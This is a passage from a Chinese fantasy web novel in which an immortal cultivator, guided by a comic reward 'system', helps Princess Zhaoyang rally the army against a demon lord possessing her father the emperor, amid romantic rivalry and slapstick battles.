昭阳的目光,从他的眉骨滑到鼻梁,再到抿起的薄唇,最后落在上下滚动的喉结。 “仙师...” 她突然轻唤。 慕长歌闭目不语,假装入定。 昭阳翻了个身,用余光注视着他。 她时而微笑,时而蹙眉,指尖摩挲着床单,脑海中勾勒出无数种留下这位仙师的方法。 夜色渐深,昭阳终于抵不过疲惫,她悄悄来到慕长歌身边,靠在了他的肩头,似乎这样才有安全感。 听着平稳的呼吸声,以及看到她长睫毛在月光下投下的阴影,慕长歌叹了口气,这丫头睡着时倒是乖巧。 “叮!检测到目标好感度持续上升,攻略进度60%,获得气运值返还10000点。” “……” 这也能攻略? 天色渐明。 一早苏月瑶就带着小桃来到了客房。 昨晚慕长歌一声不响地离开了相府,苏月瑶不知自己的猜测是否正确。 咚咚咚。 门外响起敲门声。 慕长歌正要应答,房门被推开了。 苏月瑶看着眼前的景象错愕了片刻。 昭阳靠着他肩头熟睡,慕长歌则保持着打坐的姿势,纹丝不动。 晨光为两人镀上一层柔和的金边,有种说不出的和谐。 “嘘...” 慕长歌对着她们做了个噤声。 苏月瑶昨日还在担心表姐的安危,一夜之间,这位神秘的仙师,就将人给救了出来。 小桃更是惊得手中的铜盆差点落地,那可是看守森严的诏狱啊。 这位慕公子是神仙么,他怎么把人给救出来的? 昭阳被细微的动静惊醒,先是迷迷糊糊地看了眼慕长歌,见他正含笑望着自己,耳尖顿时红了。 转头看到苏月瑶,眼中闪过一丝惊喜,“月瑶。” “表姐!” 苏月瑶快步上前,扶起她上下打量,“你没事真是太好了,可有伤到哪儿?” 她看着昭阳那身染血的白色中衣,以及散落的青丝,眼中掠过抹心疼。 “仙师治愈了我的伤。” 昭阳目光不自觉地飘向慕长歌,“你呢,可有受我连累?” 苏月瑶轻咬薄唇,摇了摇小脑袋。 她展颜一笑,冲着慕长歌盈盈一礼,“多谢仙师救我表姐。” 接连听到这个称呼的小桃,小嘴惊骇到能塞下一颗鸡蛋,眼前这个好看到不像话的男人,果真不是凡人。 倒是慕长歌看着小桃张大的嘴失笑,就这先天条件,用来塞鸡蛋,实为浪费天赋。 他摆了摆手,让小桃放下了铜盆里的水。 “仙师可自行洗漱一番,月瑶先行带表姐去梳洗更衣。” 三人离去,慕长歌起身活动了下肩膀。 起身来到铜盆边,水面泛起涟漪,倒映出他的面容,以及脖子上浅浅的牙印。 “……” 这公主属狗的么? 睡个觉还要咬人。 难怪苏月瑶某一刻看向他的眼神,有诧异,有惊骇,似乎还有些失落... 其他的他能理解,这失落又从何来? 他随手掐了个净身诀,周身顿时清爽如新。 过了不大一会儿,小桃去而复返。 她站在门口,神色中多了许多敬畏,“仙师,小姐吩咐奴婢前来请您去前厅用早膳。” 相府庭院布置雅致,假山流水间点缀着梅花,别有一番韵味。 前厅内。 苏月瑶见他到来,连忙起身相迎。 “粗茶淡饭,怠慢了仙师,望仙师见谅。” 她美眸捕捉慕长歌脖子间的痕迹,只有一片白净。 慕长歌回过目光时,她又吓到赶忙躲闪,胸腔内好似装了只小鹿,剧烈碰撞。 “苏小姐客气了。” 正要入座,忽听外面传来环佩叮当之声。 昭阳款款而来,她一袭绯色长裙勾勒出曼妙的身姿,金线绣制的凤凰在裙摆间若隐若现。 散落的青丝被一支金凤钗挽起,颈线上的肌肤,在晨光下莹润如玉,全然看不出昨夜的伤痕累累。 眉宇间那点朱砂,衬得一双凤眼顾盼生辉,行走间裙裾轻扬,既有公主的贵气,又不失女子的妩媚。 慕长歌呼吸一滞。 这...果然人靠衣裳马靠鞍。 再美的女人缺少了点缀,那也是美中不足。 “仙师不认得昭阳了?” 她转了个圈,裙摆如花瓣绽开,纤细脚踝上的一条细链,随着步伐发出声响。 慕长歌笑着道,“我就是觉得惊奇,按照你们凡间的规矩,这身行头搁在相府,未免有逾越之举。” “的确。” 苏月瑶掩嘴娇笑,“可若是表姐是我们相府的常客,又拥有自己的房间呢?” 昭阳眨了眨眼,只看得慕长歌脸色一黑。 早知这女人有自己的房间,又何必将她留在自己的客房。 昭阳看出他的异样,笑吟吟地俯身,凑近他耳边,“昭阳并不介意和仙师一起睡,负责就好,毕竟昭阳和仙师有了睡过的关系~” “……” 你不介意,他介意啊。 知不知道深更半夜,男女共处一室,且两人无距离接触,对一个男人来说有多大的考验? 还有,这话怎么听着那么让人误会呢。 什么叫睡过的关系。 一旁的小桃早已捂住了耳朵,心里默念,看不见我,看不见我。 咦...不对。 看不到你们,看不到你们.... 等等... 那小姐是不是要失恋了。 啧啧,好可怜... 本以为是爱情的开始,没想到还没上路,就夭折了。 为小姐默哀三秒钟,嘻嘻... “哎呦!” 她捂着头,痛呼一声,“小姐,你干嘛?” “没事,手滑。” “……” 您手滑得可真巧,巧到放下筷子,给她的后脑勺来了一下。 苏月瑶别提多不是滋味。 眼睁睁看着别的女人,在自己的相府,暗示自己心喜的男人,偏偏她又抢不过... 当昭阳瞥过目光,她立即低下头,食不知味。 昭阳掩唇轻笑,坐回自己的位置,“仙师,昭阳有事相求。” “公主请讲。” “第一,不要再叫我公主。” 昭阳竖起一根纤细手指,目光黯然,“对我来说,那个身份已经不存在。” “第二,我要清君侧。” 她眼中寒光乍现,连带着厅内的温度陡然下降。 苏月瑶倒吸凉气,“表姐,你是说...” “没错。” 昭阳冷笑,“君父无德,被魔物所控,朝堂乌烟瘴气,为神煌王朝,我决定剑指皇城!” 她起身对着慕长歌盈盈一礼,“这一拜,是昭阳乞求我未来的夫君。” 噗! 苏月瑶刚入口的茶水直接喷了出来。 表姐这也太...直接了吧? 至于小桃... 嗯...装死吧... 第172章 血雨惊现皇城乱,皇宫兵马围相府 此前这位公主不是没有被指配过婚事,通通拒绝了而已。 久而久之,传出了昭阳不喜欢男人的负面名声。 在神煌王朝,二十三岁的年纪还未婚配,又是当朝公主,足以成为众人口中闲暇时的谈资。 可昭阳丝毫不在意,原来只是看不上那些平凡人而已。 这不在仙师面前,甚至反客为主。 嗯... 小桃不禁在想,自家小姐若是有公主这般主动,说不定也能成全了好事,又何必羡慕到眼红。 感受到众人的眼神,昭阳不慌不忙,优雅地整理了下裙摆。 “怎么,可是我说得不够清楚?” 她挑起慕长歌下巴,“你,我很喜欢,你又看光了我的身子,对我负责顺理成章。” “……” 慕长歌嘴角微抽。 “叮!检测到目标攻略进度70%,获得气运值返还10000点,并获得额外奖励,姻缘红线,已自动绑定!” “???” 这系统是铁了心把他卖了吗? 昭阳似乎察觉到什么,一根红线凭空浮现于她的手腕之上,另一端缠绕上了慕长歌。 她红唇微扬,“看来仙师与我是天定的姻缘。” “……” 他要说是系统搞的鬼,这丫头能不能信? 此时,昭阳纤细的手指,摩擦着手腕,那里正是红线消失的位置,表面看不到,仍有触感存在。 这一刻,她能感觉到自己与慕长歌建立了某种联系。 她倾身上前,红唇几乎贴上慕长歌的耳垂,“事后...我登临大宝,你便是神煌王朝的帝君,红线已牵,既是天意,又怎可违抗?” 苏月瑶手指的筷子啪地掉落,小脸委屈得几乎扭曲。 为什么... 明明是她先遇上的仙师,上天为何如此不公,连一根红线都不肯给她? 呜呜呜... 她咬着下唇,眼眶泛红。 一顿饭在诡异的气氛中结束。 众人移步前厅廊下。 “夫君,你觉得我第一步该如何做?” 昭阳左思右想,愁苦不已。 皇城内的将领受那邪魔影响,纷纷迷失了心智,而要讨伐君王,那些人的助力必不可少,她也不想自相残杀。 打赢了,无功无过,损伤的还是自家根基。 打输了,万劫不复,王朝陷入末日。 “我与慕公子昨日见过刑部尚书之子张贺。” 苏月瑶酸溜溜地接着话,紧接着,话锋一转,“对了,公子,你昨日说今日有雨,是为何意?这哪里像要下雨的样子?” 慕长歌看着晴朗的天空微微一笑。 随后.... 呼! 狂风大作。 掀动了两女的衣裙,修长美腿傲然而立。 苏月瑶略有娇羞,赶忙捂住裙摆,又悄悄瞥了眼慕长歌,却见他心无旁骛,依旧在施法。 倒是昭阳,丝毫不在意自身稍有遗失的美景。 小逃无奈地扶着额头。 就这? 小姐不输怎么可能。 送上门的机会,就这样被她给亲手毁灭了。 还是太单纯了呀。 矜持,那是对一些本身搞头不大的男人看的。 对于这样的仙师,矜持个屁啊,扑上去就是干! 小桃恨不能将自己的心声,吐露给苏月瑶,奈何为时晚矣。 轰隆! 云层翻滚如墨,血色闪电穿梭其中。 不过瞬息之间,豆大的血红色雨滴倾盆而下,笼罩整座皇城。 苏月瑶惊得小脸煞白。 昭阳却是眼前一亮,天降血雨,是为异象,当君主昏庸无道之意,正好送她踏上,名正言顺铲除邪恶的台阶。 这场雨一连下了几个时辰不见停歇,皇城内人心惶惶,言论四起。 “小姐,小姐...外面在传君主昏庸,上天为之恼怒,降下警示。” 小桃撑着伞,乱着呼吸跑来了客房,“已经有很多百姓围聚宫门前,要求释放公主和监正。” “所以,这才是公子让我见张贺的真实目的?” 苏月瑶若有所思地看着慕长歌。 到底是仙人,不但实力强大,亦然料事于前。 昭阳看着饮茶的慕长歌,问道,“你是不是喜欢我?” “???” “此前你我并未相见,可你为我做好了准备,不是喜欢是什么?” “……” 他能说是为了气运值么。 她又道,“莫要再说那魔物,是源于你们的疏忽逃落至凡界。” “以往凡界浩劫不断,何尝有过仙人相助,若世上真有那么一个仙人俯瞰众生,又何来的人间疾苦?” “所以你是仙,亦非是仙。” 她笑着很美,“与其说你是仙,不如说你是修士,你来自某座仙道宗门,我听说以往有魔道霍乱人间。” “有一座名为碧霄宫的仙道宗门,带领一众非常之士,最终镇压了魔物,而这个魔物,成了漏网之鱼,在前不久逃了出来。” “而你,为除掉那魔物,来到了神煌王朝。” 她目光灼灼,“你们修士庇佑凡人,我们凡人庇佑天下苍生,既是都有守护之责,又谈何对于错,总归是想着天下安宁。” 昭阳眉头微蹙,又展颜一笑,“你我皆是负重前行之人,还望夫君与我一起,为这天下铲除了那魔物。” 望着昭阳伸过来的小手,慕长歌有过片刻的愕然。 这丫头的思想觉悟,高啊! 如此心境,若能踏上仙途,成就必然惊世骇俗。 “消灭那魔物不难,只是他的本源与你父亲融为了一体,一损俱毁,一亡俱亡。” 慕长歌放下茶杯,来到了房檐下,“待你父亲承载的王道气运消散,就是他身死之时。” 昭阳沉默,半晌不言。 “君父不止是君父,亦是神煌王朝之主,倘若以他的死为代价,剿灭了威胁之物,何尝不是他的功绩?” 说到这,昭阳叹了口气,“自我记事起,他只贪图享乐,若能用生命捍卫皇室最后的尊严,死得其所。” 一滴清泪,自眼角流淌。 外人眼里的昭烈的确昏庸,但作为父亲,也曾对她关爱有加。 如今她即将走上弑父之路,心中情绪难以表达。 苏月瑶默不作声,却也心疼自己这个表姐,她眼里的天下苍生,比任何人,乃至她自己都要重要。 受众人爱戴的背后,是常人难以体会的痛苦。 她想提醒昭阳,这么做的后果,便是皇室名声受损。 毕竟昭烈为求长生,才为魔物有机所乘。 可也知道,昭阳的回答,必然是天下比皇室名声重要得多,有过必改,是为皇室之责,也为天下之表率。 哪怕神煌王朝可以灭,众生不可欺。 “雨停了。” 昭阳话音刚落,一名下人匆匆跑了过来。 “公主,小姐,不好了,皇宫派来了大队人马,围了咱们相府!” 第173章 黑甲卫誓死护主,昭阳霸气镇三军 轰! 夜色下。 相府大门被暴力破开,铁甲碰撞声如潮水涌入。 为首的三人身着明光铠,腰间佩剑寒光凛凛。 这三人是皇城禁军统领李将军,御林军统帅王将军,以及负责皇城守卫的孙将军。 “我等奉君主口谕,昭阳公主勾结妖道,制造血雨,擅自逃狱,祸乱朝纲,即刻压回宫中问罪!” 他身后数百名精锐士兵,已将庭院团团围住,弓弩手占据制高点,寒光闪闪的箭矢对准了廊下众人。 “三位将军。” 昭阳向前一步,裙摆纹丝不动,“我所行之事皆为民心所向,律法之内,何来的罪?” “君要臣死,臣不得不死,即便公主也不能例外!” 一人抽出佩剑指向慕长歌,“来人!将这妖道就地格杀,公主和苏小姐押解回宫!” “住手!” 一声暴喝如惊雷炸响,相府围墙外跃入数十道黑影。 为首之人身披重甲,面罩下只露出一双炯炯有神的眼睛。 “黑甲卫统领王有德护卫来迟,望公主恕罪!” 他单膝跪地,身后三十名黑甲卫同时跪伏。 王有德抬起头,“属下得知公主脱险,特率亲卫前来保驾护航!” 他目光扫过慕长歌,充斥着难以言喻的敬畏。 不愧是仙人,诏狱那种龙潭虎穴都能来去自如。 真正让他感激的是,这位仙人昨日一指破除了他的魔气,才让他恢复清明。 “王有德!” 李将军须发皆张,“你是要造反吗?!” “造反的是你们!” 王有德豁然起身,腰间黑刃铮地出鞘,声如洪钟,“君主被妖人操控,迷了本心,尔等不思报国,反而助纣为虐!” 他转身对昭阳重重抱拳,“黑甲卫上下三百七十六人,誓死追随公主拨乱反正!” “誓死追随!” 三十名黑甲卫齐声怒吼,声震屋瓦。 昭阳内心泛起波澜,疑惑王有德怎会没被那魔物迷惑了心智。 不对! 王有德对她的忠心,是超越了她的君父。 若她入狱时,王有德尚且清醒,定会带领黑甲卫闯宫。 她下意识看了眼慕长歌,再联想到血雨,以及这三人闯进相府。 顿时,昭阳想明白了。 这根本就是一条线,皆在算计之内。 苏月瑶掩住小嘴,“我总算明白,昨日为何慕公子会与王统领说,日后大可来相府寻他了!” 这就对了。 昭阳全都明白了,他先是为王有德恢复了神智,再去诏狱救出她,等到宫中将领追杀到相府,便是为这几人恢复神智之时。 原来,他在无形中为了自己做了这么多。 那魔物必然想不到,他派人抓她,反而是在给她送人手,魔物就魔物,何来的智慧可言。 倒是慕长歌这样的男人,与她极为相配,也让她愈发坚定了,将之留在神煌王朝的打算。 哪怕采取非常手段,又或者一直将他禁锢在寝宫之内,无论他是否情愿,只要留下他便好! “叮!恭喜宿主攻略气运之女昭阳,攻略进度80%,获得气运值返还10000点!” 明明又得到了气运值,可慕长歌就是开心不起来。 他看到了昭阳眼中的占有欲,那不是一般的占有欲,而是极致疯狂的占有欲! “友情提示:昭阳病娇属性激活100%,恭喜宿主子嗣孕育可期,永享王朝气运可期。” “……” 系统! 恭喜你个锤子啊! 病娇哪是好惹的? 此前心思倒是没有白费,就是想要为这几人恢复神智,没有他的出手,多少有点难度。 当然,昭阳就是想证明自身具有那个能力。 “好,好得很!” 李将军脸色铁青,“弓弩手准备!” “且慢!” 昭阳厉喝,绯色裙摆无风自动。 她从袖中取出一枚古朴龙纹玉佩,这块玉还是她爷爷送给她父亲昭烈,昭烈又送给她的传承之物。 她一直贴身携带,此刻已是将玉佩高举过顶,“三位将军应当认识此物,见此玉如见先帝!” 昭阳环视他们,心中不知先帝南征北战时,留下的这块玉佩,能否唤醒他们的意识。 望着那三人眼中并无波澜,昭阳还想做最后的尝试。 太过依赖那个男人,显得她很无能,何况本就是神煌王朝之事。 “黑甲卫听令!” “在!” 王有德与三十名黑甲卫同时应声,声浪震得庭院树木簌簌落叶。 “先帝遗训!” 昭阳一字一顿,“若后世君王昏聩,持此玉者可清君侧,本公主即将替天行道,驱邪斩魔!” 她剑指三位将军,“念尔等曾为先帝立下汗马功劳,现在退下,既往不咎,若执迷不悟,本公主严惩不贷!” 轰! 慕长歌眼中所见,一抹无形的王朝气运之息,自昭阳身上扩散开来,渐渐地弥漫了整个院子。 这一番话又如惊雷炸响,不少禁军士兵面露犹豫,甚至有几人已经放下武器。 李将军眼中黑气翻涌,握剑的手青筋暴起,“妖女休得...” 他声音陡然止住,似是头脑一阵眩晕,两股意识互相冲击。 “李老将军!” 王有德趁机厉喝,“你可还记得,曾经的北疆之战,是谁单枪匹马救你出了重围?是先帝!” 他那战刀指了过去,“你胸口那道箭伤本该要你的命,是先帝用龙气为你续命三日,才得以回到皇城,保住了你这条命!” 李姓将军听到后浑身剧颤,手中佩剑哐当落地。 “先帝...” 他低声喃喃。 王有德乘胜追击,“孙将军,你长子战死沙场,是公主亲自为他扶灵,此等殊荣,唯你一家独享!” “王将军,尊夫人病重时,又是谁带御医日夜守候?是公主!” “君上文弱,不通武艺,为妖邪所侵。” 王有德扫过他们,“尔等武将,铮铮铁骨,世受君恩,岂可行违逆之举,此时不醒,更待何时!” 那三人眼中的黑气剧烈翻腾,面容扭曲到近乎狰狞。 李将军抱头跪地,发出一声痛苦的嘶吼,如野兽般的声音,听得人毛骨悚然。 他七窍中渗出丝丝黑气,在空中扭曲消散,当他再次抬头,眼中已恢复清明。 “公主,末将死罪!” 三人相继跪倒在地,重重叩首。 “免罪。” 她不着痕迹地瞥了眼慕长歌。 看,没有你帮忙,本公主也能解决! 慕长歌嘴角抽搐。 这丫头,是在跟他炫耀? 他神色一凛,猛地抬头望向夜空。 一道雾气从天而降,直扑昭阳面门。 慕长歌指尖掐诀,一道金光屏障将那黑雾牢牢禁锢。 “乌云魔尊,既然来了,何不现身?” 黑雾剧烈翻涌,凝聚成人形。 出现在众人面前的,赫然是神煌王朝的君主,昭烈! 眼下的昭烈,双眼漆黑如墨,嘴角挂着诡异的笑。 “你们这些正道人士,真是阴魂不散!” 他声音沙哑刺耳,完全不似人类,“可惜,本尊已与这凡间君王合为一体,自有气运相护,你的法术伤不到本尊!” “那若不是法术呢?” 慕长歌盯着空中的昭烈,流露出一抹危险的笑。 第174章 系统助攻送大礼,昭阳痴迷谋仙种 话音未落,他周身肌肉骤然膨胀,身上的衣袍被撑到了破碎,露出精铁浇筑的躯体。 每一块肌肉轮廓皆蕴含着爆炸性的力量,青筋如虬龙盘绕。 昭烈瞳孔骤然收缩。 砰! 慕长歌脚下青石炸裂,眨眼间出现在昭烈面前,砂锅大的拳头,带着破空之声狠狠砸下! ‘昭烈’仓促间架起双臂抵挡,仍被这一拳轰得倒飞而下,最终砸落在地。 噗! 他喷出一口黑血,满脸不可置信。 这一拳,乃纯肉身之力,竟不夹杂半分灵力。 慕长歌根本不给他喘息的机会,身形一闪又至,铁钳般的大手掐住了他的脖子,将其举了起来。 “等等,你要做什么!” 昭烈眼球暴凸,“本尊有气运相护,既便你能伤了本尊,可也无法杀我!” “谁说我要杀你?” 慕长歌的笑,看得昭烈心惊肉跳。 随后就是一声惊呼,转眼间就到了半空之中。 “这一招,叫做地球上投!” 昭烈只见慕长歌嘴角的弧度愈发骇人,他来不及挣脱,就被那钢筋般的双臂缠绕住了躯体。 而后,一圈接着一圈三六百度的旋转在空中进行,且旋转的速度越来越快,晃得昭烈一阵头昏眼花,想吐白沫。 众人抬头,呆呆地看着,没人知道这位仙人,用的是什么招数,只隐隐感觉到,接下来的昭烈怕是要惨了。 果不其然,他们看到高空中的两道身影,犹如流向坠落,俯冲而下。 数秒后。 伴随着一阵地面摇晃,昭烈被狠狠砸下。 烟尘冲天而起。 相府险些毁于一旦。 也就是慕长歌收敛了力道。 否则苏月瑶将会变得无家可归,只能流落街头,沿街乞讨。 当那烟尘散去,每个人不由得咽了口唾沫。 他们眼中的仙师,不但毫无仙风道骨,还极其不雅地骑在了昭烈身上,左右开弓,拳头如雨点般落下。 “这一拳是为昭阳!” “这一拳是为被魔气侵蚀的将士!” “这一拳是为神煌王朝!” 他的每一拳,都伴随着骨骼碎裂的脆响,黑血四溅。 围观众人早已目瞪口呆,这哪是什么仙师? 分明是一头人形凶兽。 还有这招什么地球上投,换在他们身上,那一下就粉身碎骨了。 慕长歌一边挥拳砸向昭烈,一边偷瞄昭阳的反应。 女人,感不感动? 他这一番操作,既是为她出气,也是威慑。 让这病娇公主看看,想困住他这种猛男。 做梦! 昭阳双眸闪烁着异样的光彩,呼吸不自觉地急促,纤细的手指紧紧攥住裙摆,指甲泛了白。 好强...不愧是她看上的男人,果然威武雄壮,她眼中的痴迷之色愈发浓烈。 “叮!恭喜宿主攻略气运之女昭阳,攻略进度90%,获得气运值返还10000点!” “恭喜宿主获得额外奖励,龙精猛虎丹10枚(服用后七日内精力无穷,且能根据道侣体质,自动调节最佳状态)!” “叮!额外附赠:鸾凤和鸣双修大阵图纸!” “备注:此阵图可增幅双修效果300%,建议与孕灵圣体配合使用,已自动传输昭阳!” 慕长歌脑中嗡地一声,差点把昭烈的脑袋,当成西瓜锤爆。 握草! 系统这是在干什么? 传输给昭阳是几个意思? 他拳头悬在半空,嘴角疯狂还抽搐。 这是生怕他逃过昭阳的魔爪是吧? “叮!检测到宿主腹诽,本系统郑重声明,若不能满足其需要,本统将永久禁锢你的修为!” 系统突然弹出全息投影,画面里昭阳手持捆仙索,眼中闪烁着危险的光芒,背后是各种不可描述的刑具。 “……” 慕长歌突然觉得自己不该来神煌王朝。 现在走还来得及么? 再看昭阳,似乎发呆。 不过那红唇扬起的笑意,让人看了毛骨悚然。 那是因为昭阳看到自己脑海中忽然多出一篇阵图,那阵图能保证她孕育出子嗣,作为后继之君。 更不可思议的是,自她孕育出子嗣的那一日,她就能摆脱禁锢,踏入修仙路。 如此,就更不能在毫无收获前,放走这个男人了。 她将目光看向了慕长歌。 嗯。 要好好计划一下,他这么强壮,只靠捆仙索肯定不牢靠。 可是没关系啊。 监正那里宝贝不少,有一种东西叫做软仙香,可针对修士。 如若配合一起使用,不就能为所欲为了? 昭阳舔了舔嘴唇,眼中疯狂闪烁着炙热的光芒! 慕长歌打了个寒颤,拳头挥落时砸了一空,被乌云魔尊附身的昭烈,已然化作一团黑气逃脱了出去。 一道漆黑锁链,从黑雾中渗出,向着昭阳席卷而至。 “公主!” 王有德最先反应,战刀悍猛砸下,被反震之力击飞了出去。 那锁链在昭阳瞳孔逐渐放大,昭阳毫无惧意,小手摸向腰间,准备抽出软鞭。 嗖! 千钧一发之际,一道身影突兀出现在她眼前。 “还不死心?” 慕长歌五指扣住漆黑锁链,肌肉骤然绷紧,轰的一声,那团黑雾被他从半空中拽了下来。 未等它重新凝聚,慕长歌抡起锁链将其缠绕,手中握着链柄,反复晃动砸落。 砰! 砰! 砰砰砰.... 每一下砸落都地动山摇,黑雾中传出撕心裂肺的惨叫。 众人亚麻呆住,他们不曾看过仙人斗法,但这拳拳到肉更震撼人心。 黑雾中。 昭烈或者说乌云魔尊快疯了。 自他诞生之日起,何曾受过这等羞辱? “够了!” 黑雾中骤然爆发出刺目的血红之光,“待到本尊恢复,定要你...” “要你姥奶的头!” 慕长歌轮圆了铁链,一记虎爪探向黑雾,将其抓住一顿狠砸。 烟尘散去,黑雾已经稀薄得几乎透明。 “慕长歌,你给本尊等着!” 撂下狠话,乌云魔尊化作一缕黑烟遁逃。 慕长歌拍拍手上并不存在的灰尘,转身看向昭阳,“没事吧?咦,你们在干嘛?” 他看到昭阳和苏月瑶,各自保持着双手护胸的动作。 昭阳脸色一红,“没...没事...” 当他向苏月瑶看去... 呃... 她故作轻松,双手落了下来,“我..就是胸衣沾了点灰尘...” 实际上,她脑海中还在回荡着慕长歌刚才的画面,这要是像那魔物被抓上一下,昭阳的封号,就该是太平公主了。 噗嗤! 她的笑极其醒耳。 慕长歌歪了下头,怎么这些女孩子,个个莫名其妙? 第175章 众将争献殷勤计,仙师墙角画圈圈 “多谢夫君相救。” 昭阳用最端庄的姿态向他行礼,声音温柔似水。 什么情况? 公主竟然喊仙师夫君? 这可真是天佑他们神煌王朝啊,有仙师相助,那区区魔物算什么,他们可都亲眼看到那魔物被仙师虐得夹着尾巴逃了。 等等! 这哪是天佑他们神煌王朝,分明是公主的魅力。 监正只是说了,危急时刻自有仙人临世,可没说仙人会成为他们公主的夫婿啊。 这还不能说明公主的魅力么。 王有德清了清嗓,“属下恭贺公主觅得良缘,愿公主和仙师白头偕老...啊呸,是永垂不朽,早生贵子,为我王朝诞下高贵血统!” 李将军等三人面面相觑,老脸一阵抽搐。 这王有德,好生奸滑! 他们三个还没反应过来,就让这个后辈抢了先机。 “未将恭贺公主觅得仙缘。” 李将军率先单膝跪地,声如洪钟,“愿公主与仙师鸾凤和鸣,早诞龙嗣!” “末将愿为仙师与公主筹备三军仪仗!” 王将军不甘示弱,一个猛头磕地。 握草? 怎么肥四? 卷是吧? 好好好,你们竟然这么玩! 那孙将军上前一步,“末将愿将家中千年灵芝献于仙师补身!” “……” 不是。 这些人的关注点是不是搞错了,现在是想这些的时候? 慕长歌无奈看向昭阳,昭阳不言,纤细玉手悄然牵住他的手,那动作看似轻柔,实则如铁钳不容挣脱。 苏月瑶看在眼里,心里酸得直冒泡。 她下意识摸了摸自己平坦的胸脯,又看了看昭阳那傲人的曲线,小嘴撅得能挂油瓶。 哼! 再等她长几年,她也行! 慕长歌岂能不知昭阳这声夫君,是要当众坐实关系。 还有这王有德,看着是个糙汉,心思倒是细腻,真是人不可貌相,个个精明到令人发指。 “诸位,关于这个是不是早了点,我看咱们还是...” “我懂了!” 慕长歌的话就这么被王有德打断。 这货又懂什么了? 随后见他转向昭阳,“属下愿自行请命,通知城中众人公主殿下即将与仙师缔结良缘,不日将举办大婚,普通同庆,望公主准许!” “……” 好嘛! 他懂的居然是这个! 这踏马妥妥的谄媚之臣啊! 慕长歌在心里将他灭杀了一千遍,过油锅一万遍,骨头给他炸酥,嚼他个嘎嘣脆! “准!” 昭阳给了他一个赞赏的眼神。 王有德乐开了花,这路他不就走宽了嘛! “……” 三位老将军再次愣住。 他们反应又慢了? 慕长歌很想掐个遁诀开溜,奈何昭阳的小手,不动声色地滑入他掌心,十指紧扣。 小桃在一旁干着急,“小姐,你倒是说句话啊!” 这可是最后的机会了,没看到仙师很为难么。 只要说上几句话给他解围,这机会他不就又来了? “我......” 苏月瑶憋了半天,福至心灵,“我可以当陪嫁丫鬟!” “……” 完啦! 自家小姐这彻底没救了。 都说喜欢一个人会变傻,果然没错... 慕长歌颇为郁闷,这个时候不应该各自去调兵遣将,好为明日做准备么。 然而当说了后,几人却回了他一句,有仙师在,这杖用打么? 慕长歌一言不发,背对着他们,蹲在了墙角。 “仙师这是做什么?” 其中一人忍不住问道。 慕长歌头也不回,“出恭!” “……” 不过,当那几位将军离去后,都各自忙碌着调兵遣将。 那魔物只是不是仙师的对手,但他们普通人,可抵挡不住魔气。 如今他们清醒了过来,万一魔物将皇城内的士兵魔化,用以对抗他们,损失的都是王朝精锐。 为了杜绝这种事,几人不敢懈怠。 他们想不到的是,乌云魔尊不单单要这么做,还有更大的筹谋,他要血祭全城! 翌日。 昭阳一身银甲立于皇城门墙,晨光将她的身影镀上一层金边。 她那身战甲并非寻常铠甲,而是凤翎甲,每一片甲叶都雕刻着展翅凤凰,在阳光下煜煜生辉。 腰间悬着一柄三尺青锋,剑鞘上缠绕着金丝龙纹,这是神煌王朝象征储君身份的九龙剑。 “将士们,今日我昭阳,不得不做一件大逆不道之举。” 她声音清亮如凤鸣,抽出长剑,剑锋指向皇宫,数万将士屏息凝神,只听得旌旗猎猎作响。 “君父昏庸,为魔物所控,他残害忠良,迷失心智,已非我神煌王朝的君王!” 她剑锋一转,划出一道凌厉弧光,“先帝遗训,君王失道,可持九龙剑清君侧!” 昭阳目光如电,扫过每一张面孔,“此战不为权势,不为富贵,只为还神煌王朝一个朗朗乾坤!” 她高举长剑,剑锋映着朝阳,绽放出刺目金光,“凡我神煌子民皆当奋起,凡我王朝将士,誓诛妖魔!” 慕长歌站在一旁,不禁挑眉。 这丫头正经起来,倒真有几分帝王气象。 昭阳看了他一眼,见他眉头微皱看向天际,转而扬起嘴角,这才转身对着将士们高喊,“全军听令,即刻攻城!” 声势之浩大,前所未有。 偌大的神煌王朝,也从未出现过这样的叛乱。 沿途百姓,肃穆以待。 他们每个人都清楚,这不是叛乱,而是拨乱反正。 昭阳人心所向,气运加身,所过之处兵不血刃。 甚至看守宫门的将士,似为迎接她的到来,提早打开了宫门。 吼! 宫墙上空,一道漆黑如墨的龙影冲天而起。 那黑龙足有千丈长,周身缠绕着血色闪电,飞舞盘旋。 又见皇城四周升起四道血色光柱,形成一个巨大的囚笼,将整座皇城笼罩其中。 与此同时,众人只感觉一股难以抵挡的威压笼罩自身,他们骨髓发生清脆之音,仿若泰山压顶。 “公...公主...” 王有德战刀杵地,大口喘息,“我们好像...站不起来了!” “血祭大阵。” 慕长歌看后只是一笑,“破!” 随着一道法诀打出,笼罩在他们身上的威压尽数消散。 彼时,天际传来乌云魔尊大笑的声音。 他踏足虚空之上,汲取着来自四面八方的血气之力。 “慕长歌,今日本尊要这全城之人,为我陪葬!” 他那声音如万鬼齐哭,声势回响不停。 殊不知,血祭大阵对慕长歌来说,早就是过了时的东西,且他等的就是这一刻。 昭烈能够承载王道气运源于自身血脉,可这血脉若是不再纯净自会消散。 那魔物昨日被他打到重伤,唯独这个法子能让他恢复,所以乌云魔尊即便知道这些,也只能用这个法子。 或许他也知,自从慕长歌找来的那一刻就没了活路,但在死前拉上其他人垫背,又何乐而不为。 昭阳握紧了九龙剑。 慕长歌斜睨她一眼,“阵法交给我,你带人冲进去,龙袍加身,秉持天地之意,登临大宝,斩断他身上的气运!” 昭阳未有迟疑,有他在,那魔物自当伤不了其他人性命。 九龙剑寒光耀耀,伴随她一声低喝,“全军将士听令,随我杀入宫门!” 昭阳冲锋在先,以极快的攻势,带领众人冲入宫门深入。 第176章 魔尊诡计终显露,道心抉择生死局 “乌云老魔,你以为用着血祭大阵我就奈何不得你了?” 慕长歌腾空而起,与周身缠绕着森然魔气的昭烈隔空对视。 他散发的威势,震得四周血色光柱颤动不休。 昭烈发出刺耳怪笑,“桀桀桀,慕长歌,本尊承认你实力非凡,但这血祭大阵以皇城龙脉为根基,以生灵为祭,你....” “废话真多!” 慕长歌右手一握,一柄通体如玉的长剑凭空浮现,“斩!” 一道百丈金光,直劈最近的一根血色光柱。 震天巨响中,那根光柱应声碎裂,无数血色符文在空中炸开,又迅速消融。 城中某处,遭受魔气侵蚀的百姓恢复了清明,茫然环顾四周。 当他们抬起头,看到一道凌空驻足的身影,与散发着漆黑魔气的昭烈隔空斗法。 “是仙师!” “他是来拯救咱们的仙师!” 皇城中不少人顺着视线望去,行起了跪拜之礼。 这位仙师可是所有人的恩人,他不但救了公主,还要帮助他们清扫邪恶,如今正在与那邪魔斗法。 所有人都在祈祷慕长歌铲除那个邪魔,还他们一个朗朗乾坤。 